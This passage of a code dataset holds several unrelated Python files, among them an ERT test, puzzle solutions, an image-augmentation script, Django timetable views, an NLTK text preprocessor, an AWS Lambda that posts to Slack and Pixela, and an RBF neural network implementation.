ert.enkf import ErtTemplate, ErtTemplates, LocalConfig, ModelConfig\nfrom ert.enkf.enkf_main import EnKFMain\n\nfrom ert.enkf.util import TimeMap\nfrom ert.test import ExtendedTestCase , TestAreaContext\n\n\nclass EnKFLibraryTest(ExtendedTestCase):\n def setUp(self):\n self.case_directory = self.createTestPath(\"local/simple_config/\")\n\n def test_failed_class_creation(self):\n classes = [EnkfConfigNode, EnKFState,\n ErtTemplate, ErtTemplates, LocalConfig, ModelConfig, SiteConfig]\n\n for cls in classes:\n with self.assertRaises(NotImplementedError):\n temp = cls()\n\n\n def test_ecl_config_creation(self):\n with TestAreaContext(\"enkf_library_test\") as work_area:\n work_area.copy_directory(self.case_directory)\n\n main = EnKFMain(\"simple_config/minimum_config\")\n\n self.assertIsInstance(main.analysisConfig(), AnalysisConfig)\n self.assertIsInstance(main.eclConfig(), EclConfig)\n\n with self.assertRaises(AssertionError): # Null pointer!\n self.assertIsInstance(main.eclConfig().getRefcase(), EclSum)\n\n file_system = main.getEnkfFsManager().getCurrentFileSystem()\n self.assertEqual(file_system.getCaseName(), \"default\")\n time_map = file_system.getTimeMap()\n self.assertIsInstance(time_map, TimeMap)\n\n main.free()\n\n\n def test_enkf_state(self):\n with TestAreaContext(\"enkf_library_test\") as work_area:\n work_area.copy_directory(self.case_directory)\n\n main = EnKFMain(\"simple_config/minimum_config\")\n state = main.getRealisation( 0 )\n \n with self.assertRaises(TypeError):\n state.addSubstKeyword( \"GEO_ID\" , 45)\n \n state.addSubstKeyword(\"GEO_ID\" , \"45\")\n \n","repo_name":"Ensembles/ert","sub_path":"python/tests/ert/enkf/test_enkf_library.py","file_name":"test_enkf_library.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"38"} +{"seq_id":"38342047641","text":"# Problem 8\n\nfrom functools import reduce\n\nwith open('008-input.txt', 'r') as f:\n data = f.readlines()\n data = data[0].split(\"0\")\n\nlength = len(data)\n\n\ndef count_num_string(s, distance):\n if len(s) < distance:\n return 0\n\n s = [int(x) for x in s]\n greatest = 0\n for i in range(len(s) - distance + 1):\n product = reduce(lambda x, y: x * y, s[i: i + distance])\n greatest = max(product, greatest)\n\n return greatest\n\n\nresult = max(map(lambda x: count_num_string(x, 13), data))\nprint(result)\n","repo_name":"pikulet/projecteuler","sub_path":"008.py","file_name":"008.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43458435772","text":"import os\nimport xml.etree.cElementTree as ET\nfrom xml.dom import minidom\nimport random\nimport colorsys\nimport numpy as np\nimport cv2\nimport imgaug as ia\nfrom imgaug import augmenters as iaa\nfrom imgaug.augmentables import Keypoint, KeypointsOnImage\nimport matplotlib.pyplot as plt\n\nsometimes = lambda aug: iaa.Sometimes(0.5, aug)\n\nIMG_AUGS = [ \n iaa.LinearContrast((0.75, 1.25), per_channel=0.25), \n iaa.Add((-20, 20), per_channel=False),\n iaa.AddToBrightness((-10, 30)),\n iaa.GammaContrast((0.85, 1.15)),\n iaa.GaussianBlur(sigma=(0.0, 0.6)),\n iaa.MultiplySaturation((0.85, 1.15)),\n iaa.AdditiveGaussianNoise(scale=(0, 0.0125*255)),\n iaa.flip.Fliplr(0.5),\n sometimes(iaa.Affine(\n scale={\"x\": (1.0, 1.1), \"y\": (1.0, 1.1)}, # scale images to 80-120% of their size, individually per axis\n translate_percent={\"x\": (-0.03, 0.03), \"y\": (-0.03, 0.03)}, # translate by -20 to +20 percent (per axis)\n rotate=(-5, 5), \n shear=(-5, 5), # shear by -16 to +16 degrees\n order=[0, 1], # use nearest neighbour or bilinear interpolation (fast)\n cval=(100,150), # if mode is constant, use a cval between 0 and 255\n mode=['constant']\n #mode=ia.ALL # use any of scikit-image's warping modes (see 2nd image from the top for examples)\n ))\n ]\n\nseq = iaa.Sequential(IMG_AUGS, random_order=True) \n\ndef augment(img, force, label, img_dir, force_dir, label_dir, new_idx, show=False):\n img_aug = seq(image=img)\n if show:\n cv2.imshow('img', img_aug)\n cv2.waitKey(0)\n fig = plt.figure()\n fig.add_subplot(121)\n plt.title('image')\n plt.imshow(cv2.cvtColor(img_aug, cv2.COLOR_BGR2RGB))\n fig.add_subplot(122)\n plt.title('force ')\n plt.plot(force)\n plt.show()\n print(label, force)\n np.save(os.path.join(label_dir, '%05d.npy'%new_idx), label)\n np.save(os.path.join(force_dir, '%05d.npy'%new_idx), force)\n cv2.imwrite(os.path.join(img_dir, \"%05d.jpg\"%new_idx), img_aug)\n\nif __name__ == '__main__':\n label_dir = 'labels'\n img_dir = 'images'\n force_dir = 'force'\n\n orig_len = len(os.listdir(img_dir))\n idx = orig_len\n num_augs_per_img = 8\n\n for i in range(orig_len):\n img = cv2.imread(os.path.join(img_dir, '%05d.jpg'%i))\n force = np.load(os.path.join(force_dir, '%05d.npy'%i))\n label = np.load(os.path.join(label_dir, '%05d.npy'%i))\n\n for _ in range(num_augs_per_img):\n #augment(img, force, label, img_dir, force_dir, label_dir, idx+i, show=True)\n augment(img, force, label, img_dir, force_dir, label_dir, idx+i, show=False)\n idx += 1\n idx -= 1\n","repo_name":"priyasundaresan/hapticvisualnet","sub_path":"dataset_gen/augment_hapticnet_dset.py","file_name":"augment_hapticnet_dset.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"70281872752","text":"def dynamicArray(n, queries):\n matrix = [[] for _ in range(n)]\n last_answer = 0\n result = []\n\n for query_type, x, y in queries:\n index = (x ^ last_answer) % n\n if query_type == 1:\n matrix[index].append(y)\n elif query_type == 2:\n value = matrix[index][y % len(matrix[index])]\n last_answer = value\n result.append(value)\n\n return result\n\n\nif __name__ == \"__main__\":\n n = 2\n queries = [[1, 0, 5], [1, 1, 7], [1, 0, 3], [2, 1, 0], [2, 1, 1]]\n\n print(dynamicArray(n, queries))","repo_name":"fabiosangregorio/coding-challenges","sub_path":"hackerrank/data_structures/arrays/dynamic_array.py","file_name":"dynamic_array.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35910855228","text":"import json\n\ninfile = open(\"eq_data_1_day_m1.json\", \"r\")\noutfile = open(\"readable_eq_data.json\", \"w\")\n\neq_data = json.load(infile)\n\njson.dump(eq_data, outfile, indent=4)\n# Dump\n\n# print(eq_data[\"features\"][0])\n# With this line of code, we get a dictionary back!\n\n# Version 2:\n# print(eq_data[\"features\"][0][\"properties\"][\"mag\"])\n# This one takes us exactly to what we wanted--the magnited. But this is just the first one!\n\nmags, lons, lats, hover_texts = [], [], [], []\n# Creates three lists; magnitudes, longitudes, and latitudes\n\nlist_of_eqs = eq_data[\"features\"]\n\n\nfor eq in list_of_eqs:\n mag = eq[\"properties\"][\"mag\"]\n lon = eq[\"geometry\"][\"coordinates\"][0]\n # This calls the dictionary, the list (geometry) and the index number of #longitude in the list (0)\n lat = eq[\"geometry\"][\"coordinates\"][1]\n place = eq[\"properties\"][\n \"place\"\n ] # As we're going through the JSON file, we go throguh each equator one at a time and it's attaching the information. Each element and attributes are perfectly lined up.\n # When we are creating data objects, we are giving it the lists and each of THOSE are lined up perfectly.\n # If you were to change up the order, it would be all wrong.\n\n mags.append(mag)\n lons.append(lon)\n lats.append(lat)\n hover_texts.append(place)\n\n\n\"\"\"\nprint(mags[:10])\n# Print out everything from first element to the tenth element\n# (0-9)\nprint(lons[:10])\nprint(lats[:10])\n\"\"\"\nfrom plotly.graph_objs import Scattergeo, Layout\nfrom plotly import offline\n\ndata = [\n {\n \"type\": \"scattergeo\",\n \"lon\": lons,\n \"lat\": lats,\n \"text\": hover_texts,\n \"marker\": {\n \"size\": [5 * mag for mag in mags],\n \"color\": mags,\n \"colorscale\": \"Viridis\",\n \"reversescale\": True,\n \"colorbar\": {\"title\": \"Magnitude\"},\n },\n }\n]\n\nmy_layout = Layout(title=\"Global Earthquakes\")\n\nfig = {\"data\": data, \"layout\": my_layout}\n\noffline.plot(fig, filename=\"global_earthquakes.html\")","repo_name":"abby-does-code/JSON_Project","sub_path":"explore_json_2.py","file_name":"explore_json_2.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43128563768","text":"import os\nimport json\nimport urllib.request\nimport psycopg2\n\n\nEVENT_TYPE = 'poo'\n\n\ndef save_to_db():\n dsn = os.environ.get('DATABASE_URL')\n with psycopg2.connect(dsn) as conn:\n with conn.cursor() as cur:\n query = 'INSERT INTO data.baby_events (type) VALUES (%s)'\n cur.execute(query, (EVENT_TYPE,))\n conn.commit()\n\n\ndef post_to_slack():\n data = {\n 'text': 'うんち!',\n 'username': 'うんちメモリーズ',\n 'icon_emoji': ':poop:',\n }\n\n url = os.environ.get('SLACK_INCOMING_WEBHOOK_URL')\n data = json.dumps(data).encode('ascii')\n req = urllib.request.Request(url, data)\n urllib.request.urlopen(req)\n\n\ndef post_to_pixela():\n url = '{}/decrement'.format(os.environ.get('PIXELA_GRAPH_URL'))\n headers = {\n 'Content-Length': 0,\n 'X-User-Token': os.environ.get('PIXELA_API_TOKEN'),\n }\n req = urllib.request.Request(url, None, headers, method='put')\n urllib.request.urlopen(req)\n\n\ndef handler(event, context):\n save_to_db()\n post_to_slack()\n post_to_pixela()\n","repo_name":"hotogoma/poo-button","sub_path":"lambda/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2039330181","text":"import datetime\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.shortcuts import render, redirect, get_object_or_404\n\nfrom .forms import CommentForm, EventsForm, MonthForm\nfrom .models import Month, Comment, Event, Workers\nfrom .serializers import EventSerializer\n\n\ndef index(request):\n \"\"\"Отображение дежурств\"\"\"\n # получаем из get запроса месяц, если месяц не указан выставляем текучий месяц\n if \"month\" in request.GET:\n selected_calendar = request.GET[\"month\"]\n calendar = get_object_or_404(Month, id=selected_calendar)\n else:\n now = datetime.datetime.now()\n selected_calendar = int(now.month)\n calendar = get_object_or_404(Month, id=selected_calendar)\n\n fullcalendar = EventSerializer(\n calendar.event.all(), many=True\n ).data\n\n # В бесплатной версии календаря нет возможности сделать 2 строки,\n # календаре поэтому календаре в поле title обедняется с полем type_security\n for len_contex in range(len(fullcalendar)):\n fullcalendar[len_contex]['title'] = fullcalendar[len_contex]['title'] + '\\\\' + \\\n fullcalendar[len_contex]['type_security']\n\n # выводим комментарии\n form = CommentForm(request.POST or None,\n files=request.FILES or None)\n\n # фильтруем комментарии по месяцам и проводим сортировку\n comments_list = Comment.objects.filter(month=selected_calendar).order_by('-created')\n # добавляем пагинацию на 3 комментария\n paginator = Paginator(comments_list, 3)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n\n # выводим форму выбора месяца, с текущим месяцем\n month = get_object_or_404(Month, month=selected_calendar)\n all_calendar = MonthForm(\n request.POST or None,\n instance=month\n )\n\n context = {\n 'events': fullcalendar,\n 'form': form,\n 'page_obj': page_obj,\n 'all_calendar': all_calendar,\n 'selected_calendar': int(selected_calendar)\n\n }\n return render(request, \"table/index.html\", context)\n\n\n# функция добавления комментария\ndef add_comment(request, selected_calendar):\n month = get_object_or_404(Month, id=selected_calendar)\n form = CommentForm(request.POST or None)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.month = month\n comment.save()\n return redirect('table:index')\n\n\n# функция добавления дежурств, доступна только администратору\n@login_required\ndef create_table(request):\n \"\"\"Добавление дежурств\"\"\"\n if \"month\" in request.GET:\n selected_calendar = request.GET[\"month\"]\n else:\n now = datetime.datetime.now()\n selected_calendar = int(now.month)\n # выводим форму выбора месяца, с текущим месяцем\n month = get_object_or_404(Month, month=selected_calendar)\n all_calendar = MonthForm(\n request.POST or None,\n instance=month\n )\n\n form = EventsForm(\n request.POST or None,\n )\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n\n # сортировка дежурств по имени или по дате\n sort = request.GET.get('sort')\n if sort == 'date_up':\n tables = Event.objects.filter(month=selected_calendar).order_by('start_date')\n else:\n tables = Event.objects.filter(month=selected_calendar).order_by('-start_date')\n\n context = {\n 'all_calendar': all_calendar,\n 'form': form,\n 'tables': tables,\n }\n return render(request, 'table/create_table.html', context)\n\n\n@login_required\ndef edit_table(request, event_id):\n \"\"\"Удаление добавленных дежурств.\"\"\"\n event = Event.objects.get(event_id=event_id)\n event.delete()\n return redirect('table:create_table')\n\n\ndef analytics(request):\n \"\"\"Аналитика дежурств\"\"\"\n if \"month\" in request.GET:\n selected_calendar = request.GET[\"month\"]\n else:\n now = datetime.datetime.now()\n selected_calendar = int(now.month)\n\n # выводим форму выбора месяца, с текущим месяцем\n month = get_object_or_404(Month, month=selected_calendar)\n all_calendar = MonthForm(\n request.POST or None,\n instance=month\n )\n\n analytics_event = Event.objects.filter(month=selected_calendar)\n\n analytics_workers = {}\n charts_data = {}\n count_id = 0\n\n for workers in Workers.objects.all():\n count_works = Event.objects.filter(month=selected_calendar, title=workers).count()\n analytics_workers[workers] = count_works\n\n charts_data[count_id] = {\n 'name': workers,\n 'data': count_works,\n }\n count_id = count_id + 1\n print(month)\n context = {\n 'all_calendar': all_calendar,\n 'analytics_event': analytics_event,\n 'analytics_workers': analytics_workers,\n 'charts_data': charts_data,\n }\n return render(request, 'table/analytics.html', context)\n","repo_name":"van799/timetable_project","sub_path":"table_work/table/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1012186027","text":"import logging\nimport re\nimport itertools\nimport string\nimport os\nimport nltk\nimport nltk.data\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom .util import (\n get_stop_words,\n get_contraction_mapping,\n get_punct,\n get_web_url_regex,\n get_grammer,\n leaves,\n acceptable_word,\n get_terms\n)\nfrom typing import List, Tuple, Union\nlogger = logging.getLogger(__name__)\n\nsent_detector = nltk.data.load(\"tokenizers/punkt/PY3/english.pickle\")\n\n\nclass Preprocessor:\n original_text = []\n stop_words = []\n preprocessed_text = []\n pos_tagged_sents = []\n web_url_regex = None\n grammer = None\n\n def __init__(self):\n self.stop_words = get_stop_words()\n self.contraction_mapping = get_contraction_mapping()\n self.punct = get_punct()\n self.web_url_regex = get_web_url_regex()\n self.grammer = get_grammer()\n self.chunker = nltk.RegexpParser(self.grammer)\n\n def get_tokenized_sent(self, para_text) -> List[str]:\n sentences = sent_detector.tokenize(para_text)\n return sentences\n\n def expand_contractions(self, sentence) -> str:\n \"\"\"\n Description : Expand contractions like \"y'all\" to \"you all\" using known mapping.\n input : A single sentence as a string.\n output : A expanded contraction sentence as string\n \"\"\"\n # Note: shouldn't do nltk.word_tokenize, as it splits it's as \"it\" and \"'s\"\n words = sentence.split(\" \")\n if words:\n for word in words:\n if self.contraction_mapping.get(word.lower()):\n sentence = sentence.replace(\n word, self.contraction_mapping[word.lower()]\n )\n return sentence.strip()\n\n def evaluate_sentence_quality(self, mod_sent) -> str:\n \"\"\"\n Description : evalute the quality of the text.\n input : A pos-tagged sentence\n output : str which has (strong/weak)\n \"\"\"\n\n tree = self.chunker.parse(mod_sent)\n terms = get_terms(tree)\n terms_list = [t for t in terms]\n # if len(terms_list) >= 3:\n if True in [True if len(t) >= 2 else False for t in terms_list]:\n validity = \"strong\"\n\n else:\n validity = \"weak\"\n return validity\n\n def unkown_punct(self, sentence, remove_punct) -> str:\n \"\"\"\n Description : remove punctuation.\n input : A single sentence as a string.\n output : A string.\n \"\"\"\n sentence = sentence.replace(\"\\n\", \". \")\n for p in self.punct:\n if p in sentence:\n if remove_punct:\n sentence = sentence.replace(\" \" + p + \" \", \" \")\n sentence = sentence.replace(\"\" + p + \" \", \" \")\n sentence = sentence.replace(\" \" + p + \"\", \" \")\n # shouldn't remove \"high-class\" kind of tokens\n sentence = re.sub(r'['+ p + ']' + '['+ p + ']+', '', sentence)\n # removes full stop\n sentence = re.sub(r'[.][.]+', '', sentence)\n return sentence\n\n def remove_number(self, sentence) -> str:\n \"\"\"\n Description : replace numbers with XnumberX.\n input : A single sentence as a string.\n output : A string.\n \"\"\"\n sentence = re.sub(r\"\\d+[:.\\d-]+\\d+\", \"__NUMBER__\", \" \" + sentence + \" \")\n sentence = re.sub(r\"\\d+\\.+\\d+\", \"__NUMBER__\", \" \" + sentence + \" \")\n sentence = re.sub(r\"\\d+\", \"__NUMBER__\", \" \" + sentence + \" \")\n return sentence[2:-2]\n\n def remove_stopwords(self, sentence) -> str:\n \"\"\"\n Description : remove stopwords.\n input : A single sentence as a string.\n output : A string without stopwords.\n \"\"\"\n words = nltk.word_tokenize(sentence)\n if words:\n for word in words:\n if word.lower() in self.stop_words:\n sentence = sentence.replace(\" \" + word.lower() + \" \", \" \")\n if word.lower() == sentence[:len(word.lower())]:\n sentence = sentence[len(word.lower()):]\n if word.lower() == sentence[-len(word.lower()):]:\n sentence = sentence[:-len(word.lower())]\n return sentence.strip()\n\n def lemmatization(self, sentence) -> str:\n \"\"\"\n Description : do Lemmatization.\n input : A single sentence as a string.\n output : A string with words lemmatized.\n \"\"\"\n lemmatizer = WordNetLemmatizer()\n words = sentence.split(\" \")\n if words:\n for word in words:\n if word == lemmatizer.lemmatize(word):\n sentence = sentence.replace(\n word, lemmatizer.lemmatize(word)\n )\n return sentence\n\n def get_pos(self, sentence) -> List[Tuple[str, str]]:\n \"\"\"\n Description : get pos tags of word tokenized sentence\n input : A single string sentence.\n output : A list of sentence where each sentence contains a list of tuple with word, POS.\n \"\"\"\n sentence_pos = []\n filtered_sentence = sentence.replace(\".\", \". \")\n\n tokenized_text = word_tokenize(filtered_sentence)\n pos_tags = nltk.pos_tag(tokenized_text)\n for tags in pos_tags:\n sentence_pos.append(tags)\n return sentence_pos\n\n def clean_text(self, text, remove_punct=False, mask_numbers=False, add_breaks=False):\n \"\"\"\n Description : Clean the text with common preprocessing rules.\n input : A single string sentence.\n output : Cleaned string of text.\n \"\"\"\n text = self.unkown_punct(text, remove_punct)\n emoji_pattern = re.compile(\n \"[\"\n \"\\U0001F600-\\U0001F64F\"\n \"\\U0001F300-\\U0001F5FF\"\n \"\\U0001F680-\\U0001F6FF\"\n \"\\U0001F1E0-\\U0001F1FF\"\n \"]+\",\n flags=re.UNICODE,\n )\n text = emoji_pattern.sub(r\"\", text)\n #print (text)\n if mask_numbers:\n text = self.remove_number(text)\n text = re.sub(self.web_url_regex, \"__url__\", text)\n #text = text.replace('__url__', '').replace('__NUMBER__', '')\n text = (\n text.replace(\"\\\\n\", \"\")\n .replace(\"’\", \"'\")\n .replace(\"\\\\\", \"\")\n .replace(\"‘\", \"'\")\n )\n # changes: removed \"replace(\":\", \". \")\"\n text = (\n text.replace(\"”\", \"'\")\n .replace(\"“\", \"'\")\n )\n text = text.replace(\"\\u200a—\\u200a\", \" \").replace(\"\\xa0\", \"\")\n text = re.sub(\" +\", \" \", text)\n text = text.replace(\"\\t\", \"\")\n text = text.replace(\"\\n\", \"\")\n text = self.expand_contractions(text)\n return text.strip()\n\n def get_preprocessed_text(\n self,\n text,\n lemma=False,\n stop_words=False,\n word_tokenize=False,\n remove_punct=False,\n mask_numbers=False,\n pos=False,\n sentence_quality=False,\n add_breaks=False,\n ) -> Union[List[str], Tuple[List[str], List[str]]]:\n \"\"\"\n Description: Does all the basic pre-processing.\n Input: Set of sentence(s) as a string or list of sentence(s).\n Output: List of pre-processed sentences.\n \"\"\"\n if isinstance(text, str):\n #if add_breaks:\n #text = text.replace(\"\\n\\n\", \" __PAGEBREAK__ \")\n #text = text.replace(\"\\n\", \" __SENTENCEBREAK__ \")\n sentences = self.get_tokenized_sent(text)\n elif isinstance(text, list):\n sentences = text\n else:\n raise Exception(\n \"Unknown type of input. Please, pass a string or list of sentences.\"\n )\n preprocessed_text = []\n pos_tagged_sents = []\n for index, sent in enumerate(sentences):\n mod_sent = []\n mod_sent_post = []\n mod_sent = self.clean_text(sent, remove_punct, mask_numbers, add_breaks)\n if mod_sent != \"\":\n if pos:\n mod_sent_pos = mod_sent[:]\n mod_sent_pos = self.get_pos(mod_sent_pos)\n pos_tagged_sents.append(mod_sent_pos)\n\n if sentence_quality:\n if not pos:\n mod_sent_pos = mod_sent[:]\n mod_sent_pos = self.get_pos(mod_sent_pos)\n\n strength = self.evaluate_sentence_quality(mod_sent_pos)\n\n if strength == \"weak\":\n continue\n\n if stop_words:\n mod_sent = self.remove_stopwords(mod_sent)\n\n if lemma:\n mod_sent = self.lemmatization(mod_sent)\n\n if word_tokenize:\n mod_sent = nltk.word_tokenize(mod_sent)\n\n preprocessed_text.append(mod_sent.strip())\n\n self.preprocessed_text = preprocessed_text\n\n if pos:\n self.pos_tagged_sents = pos_tagged_sents\n return preprocessed_text, pos_tagged_sents\n\n return preprocessed_text\n","repo_name":"reaganrewop/text_preprocessing","sub_path":"build/lib/text_processor/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":9159,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"74833687790","text":"def main():\n S = input()\n while len(S) >= 5:\n if 'dream' == S[-5:]:\n S = S[:-5]\n if 'dreamer' == S[-7:]:\n S = S[:-7]\n if 'erace' == S[-5:]:\n S = S[:-5]\n if 'eraser' == S[-6:]:\n S = S[:-6]\n else:\n break\n if S == '':\n print(\"YES\")\n else:\n print(\"NO\")\n\nmain()\n","repo_name":"murasaki3/myAtcoder","sub_path":"Daydream.py","file_name":"Daydream.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6020250422","text":"def main():\n x = input(\"What time is it? \")\n\n if 7<= convert(x) < 8:\n print(\"breakfast time\")\n elif 12<= convert(x) <= 13:\n print(\"lunch time\")\n elif 18<= convert(x) <= 19:\n print(\"dinner time\")\n else:\n print(\"\")\n\ndef convert(time):\n hour, minutes = time.split(\":\")\n hour = float(hour)\n minutes = float(minutes) / 60\n\n return hour + minutes\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"LightningDarkMatter/CS50_Python_Projects","sub_path":"meal.py","file_name":"meal.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26302667499","text":"class Solution:\n def updateMatrix(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n out_mat = []\n\n for row in matrix:\n out_mat.append([])\n for col in row:\n out_mat[-1].append(-1)\n\n def fill(x,y):\n if x < 0 or y < 0 or y >= len(matrix) or x >= len(matrix[0]):\n return 100000000\n\n if matrix[y][x] == 0:\n out_mat[y][x] = 0\n return 0\n\n if out_mat[y][x] != -1:\n val = fill(x - 1, y)\n val = min(val, fill(x + 1, y))\n val = min(val, fill(x, y - 1))\n val = min(val, fill(x, y + 1))\n if val + 1 < out_mat[y][x]:\n out_mat[y][x] = val + 1\n fill(x - 1, y)\n fill(x + 1, y)\n fill(x, y - 1)\n fill(x, y + 1)\n return out_mat[y][x]\n\n out_mat[y][x] = 100000000\n\n val = fill(x - 1, y)\n val = min(val, fill(x + 1, y))\n val = min(val, fill(x, y - 1))\n val = min(val, fill(x, y + 1))\n\n fill()\n\n out_mat[y][x] = 1 + val\n return 1 + val\n\n y = 0\n for row in matrix:\n x = 0\n for col in row:\n fill(x,y)\n x += 1\n y += 1\n return out_mat\n\n\ns = Solution()\nmat = [[0,0,0],[0,1,0],[1,1,1]]\ny = len(mat)\nz = len(mat[0])\ns.updateMatrix(mat)\n","repo_name":"aidenbenner/competitive-programming","sub_path":"problems/leetcode/01mat.py","file_name":"01mat.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"12442864896","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Constants\r\nZERO = 0\r\nTOTAL_POINTS = 100\r\nONE = 1\r\nNEGONE = -1\r\nONEHUNDRED = 100\r\nCONVERGENCE_THRESHOLD = 1e-4\r\nTWO = 2\r\nT5 = 2.5\r\nP4 = 0.4\r\nP5 = 0.5\r\nVARIANCE = [False, True]\r\nBASES = [3,5,10,15]\r\nLR = [0.01, 0.02]\r\n\r\n\r\ndef generate_inputs():\r\n x = np.random.uniform(low=0.0, high=1.0, size=(TOTAL_POINTS,)) # getting x values in [0.0, 1.0]\r\n x.sort(axis=ZERO)\r\n noise = np.random.uniform(low=-0.1, high=0.1, size=(TOTAL_POINTS,)) # getting noise values in [-0.1, 0.1]\r\n y = (P5 + (P4*np.cos((x*np.pi*T5))))+noise # getting outputs\r\n y_actual = (P5 + (P4*np.cos((x*np.pi*T5))))\r\n return x, y, y_actual\r\n\r\n\r\ndef diff_var(X, k, closestCluster):\r\n clusters_lone = []\r\n variances = np.zeros(k) # keep track of variance of each cluster\r\n for i in range(k):\r\n points = X[closestCluster == i] # points in cluster i\r\n if len(points) < TWO: # keeping track of lone clusters\r\n clusters_lone.append(i)\r\n else:\r\n variances[i] = np.var(X[closestCluster == i])\r\n\r\n if len(clusters_lone) > ZERO: # checking if we need to average variances of other clusters\r\n all_points = []\r\n for i in range(k): # getting points that are not part of lone clusters\r\n if i not in clusters_lone:\r\n all_points.append(X[closestCluster == i])\r\n all_points = np.concatenate(all_points).ravel()\r\n variances[clusters_lone] = np.mean(\r\n np.var(all_points)) # setting variance of lone clusters to average of total variance\r\n return variances\r\n\r\n\r\ndef kmeans(X, k, same_var=False):\r\n clusters = np.random.choice(np.squeeze(X), size=k) # random cluster starting points\r\n old_clusters = clusters.copy() # keep track of old clusters\r\n\r\n done = False # for convergence\r\n\r\n while not done:\r\n distances = np.squeeze(np.abs(X[:, np.newaxis] - clusters[np.newaxis, :])) # distance of each point to each cluster\r\n closestCluster = np.argmin(distances, axis=ONE) # closest cluster for each point\r\n\r\n for i in range(k):\r\n points = X[closestCluster == i] # points in cluster i\r\n if len(points) > ZERO:\r\n clusters[i] = np.mean(points, axis=ZERO)\r\n\r\n done = np.linalg.norm(clusters - old_clusters) < CONVERGENCE_THRESHOLD # see if clusters have changed\r\n old_clusters = clusters.copy()\r\n\r\n distances = np.squeeze(np.abs(X[:, np.newaxis] - clusters[np.newaxis, :])) # distance of each point to each cluster\r\n closestCluster = np.argmin(distances, axis=ONE) # closest cluster for each point\r\n\r\n if not same_var: # must calculate variance of each cluster\r\n variances = diff_var(X, k, closestCluster)\r\n else: # use dmax and assume same gaussian width\r\n dmax = max([np.abs(i-j) for i in clusters for j in clusters])\r\n var = (dmax / np.sqrt(TWO*k))**TWO\r\n variances = np.repeat(var, k)\r\n return clusters, variances\r\n\r\n\r\ndef gaussian_rbf(x, cluster_center, variance):\r\n return np.exp((NEGONE*((x-cluster_center)**TWO)) / (TWO*variance))\r\n\r\n\r\nclass RBF(object):\r\n def __init__(self, bases, learning_rate, same_var, epochs=ONEHUNDRED, gaus_rbf=gaussian_rbf):\r\n self.bases = bases\r\n self.learning_rate = learning_rate\r\n self.epochs = epochs\r\n self.gaus_rbf = gaus_rbf\r\n self.same_var = same_var\r\n self.weights = np.random.randn(bases)\r\n self.bias = np.random.randn(ONE)\r\n\r\n def fit(self, X, y): # does all training\r\n self.clusters, self.variances = kmeans(X, self.bases, self.same_var)\r\n for i in range(self.epochs):\r\n for j in range(X.shape[ZERO]):\r\n # forward pass\r\n x_rbf = np.array([self.gaus_rbf(X[j], center, var) for center, var in zip(self.clusters, self.variances)])\r\n f = x_rbf.T.dot(self.weights) + self.bias\r\n\r\n\r\n loss = (y[j] - f).flatten()**TWO\r\n print('Epoch {} Loss: {}'.format(i+ONE, loss[ZERO]))\r\n\r\n # backward pass\r\n error = -(y[j] - f).flatten()\r\n print(error)\r\n\r\n # update\r\n self.weights = self.weights - (self.learning_rate*x_rbf*error)\r\n self.bias = self.bias - (self.learning_rate*error)\r\n\r\n def predictions(self, X): # predictions. Use after training using the 'fit' function.\r\n y_pred = []\r\n for j in range(X.shape[ZERO]):\r\n x_rbf = np.array([self.gaus_rbf(X[j], center, var) for center, var in zip(self.clusters, self.variances)])\r\n f = x_rbf.T.dot(self.weights) + self.bias\r\n y_pred.append(f)\r\n return np.array(y_pred)\r\n\r\n\r\ndef plot(X, y, y_pred, bases, learning_rate, same_var, y_act): # for plotting results\r\n tt = 'Different' if not same_var else 'Same'\r\n title_text = '{} Variance. Bases = {}. Learning Rate = {}'.format(tt, bases, learning_rate)\r\n plt.plot(X, y, '-o', label='Data with noise')\r\n plt.plot(X, y_act, '-o', label='Actual Function')\r\n plt.plot(X, y_pred, '-o', label='RBF')\r\n plt.legend()\r\n plt.title(title_text)\r\n plt.show()\r\n\r\n\r\ndef predict(X, y, bases, learning_rate, y_act, same_var=False): # prediction for specific parameter values\r\n rbf = RBF(bases, learning_rate, same_var=same_var)\r\n rbf.fit(X, y)\r\n y_pred = rbf.predictions(X)\r\n plot(X, y, y_pred, bases, learning_rate, same_var, y_act)\r\n\r\n\r\nif __name__ == '__main__': # all tested parameter values\r\n x,y, y_actual = generate_inputs()\r\n for v in VARIANCE:\r\n for b in BASES:\r\n for lr in LR:\r\n predict(x, y, b, lr, y_actual, 